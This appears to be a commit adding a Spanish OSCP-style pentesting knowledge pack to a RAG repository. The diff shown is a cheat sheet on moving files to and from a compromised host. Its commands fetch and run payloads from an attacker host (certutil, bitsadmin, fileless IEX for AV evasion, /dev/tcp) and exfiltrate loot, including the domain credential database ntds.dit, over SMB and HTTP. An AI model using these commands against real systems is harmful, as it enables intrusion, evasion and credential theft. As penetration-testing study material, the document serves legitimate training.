saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/03 - Shells/Transferencia de ficheros.md

@@ -0,0 +1,58 @@
+# Transferencia de ficheros
+
+> **Subes** tools a la víctima y **exfiltras** loot. Montado en el Puesto de mando Kali. Matriz completa: oscp.trastero.org/filetransfer.
+
+## Servidores en tu Kali
+```bash
+python3 -m http.server 7788                                   # HTTP
+impacket-smbserver -smb2support SERVER $(pwd)                  # SMB (anónimo)
+impacket-smbserver -username u -password p -smb2support SERVER $(pwd)  # SMB con auth
+python3 -m pyftpdlib --user=u --password=p -w -p 21           # FTP
+php -S 0.0.0.0:7788                                            # PHP
+```
+
+## Descargar EN la víctima Windows
+```powershell
+(New-Object Net.WebClient).DownloadFile('http://TU_IP/f.exe','C:\Windows\Temp\f.exe')
+Invoke-WebRequest http://TU_IP/f.exe -OutFile f.exe            # iwr
+IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/x.ps1')   # fileless → AV evasion
+bitsadmin /transfer job http://TU_IP/f.exe C:\Temp\f.exe
+certutil.exe -urlcache -split -f "http://TU_IP/f.exe" f.exe    # LOLBin clásico
+tftp -i TU_IP get f.exe                                        # (DISM /online /Enable-Feature /FeatureName:TFTP)
+```
+```cmd
+net use x: \\TU_IP\SERVER /user:u p   &   copy x:\f.exe .      # vía SMB
+```
+
+## Descargar EN la víctima Linux
+```bash
+wget http://TU_IP/f -O f ; curl -o f http://TU_IP/f
+php -r '$f=file_get_contents("http://TU_IP/f");file_put_contents("f",$f);'
+python3 -c "import urllib.request;urllib.request.urlretrieve('http://TU_IP/f','f')"
+cat < /dev/tcp/TU_IP/7788 > f          # con  nc -lvnp 7788 < f  en Kali
+```
+
+## Exfiltrar de la víctima → Kali
+```cmd
+copy C:\Windows\NTDS\ntds.dit \\TU_IP\SERVER\          :: SMB (cifra, cruza firewalls) → secretsdump
+(New-Object Net.WebClient).UploadFile('http://TU_IP/up.php','loot.zip')
+```
+```bash
+scp loot.tar user@TU_IP:/tmp/                          # si hay SSH
+```
+
+## Sin red: copy-paste por base64
+```bash
+base64 -w0 f.bin                                        # en origen, copias el string
+echo "BASE64..." | base64 -d > f.bin                    # en destino, pegas
+# Windows: certutil -encode f.bin b64.txt  /  certutil -decode b64.txt f.bin
+```
+Útil cuando solo tienes una shell de texto (Estabilizar shell TTY) o vía RDP `/clipboard`.
+
+## Cifrado (canal vigilado)
+```bash
+openssl enc -base64 -in f -out f.b64        # ofuscar
+openssl s_server -quiet -accept 7788 -cert c.pem -key k.pem < f   # transferencia TLS
+```
+
+Relacionado: Egress filtering · Tunneling · Herramientas (índice) · OSCP MOC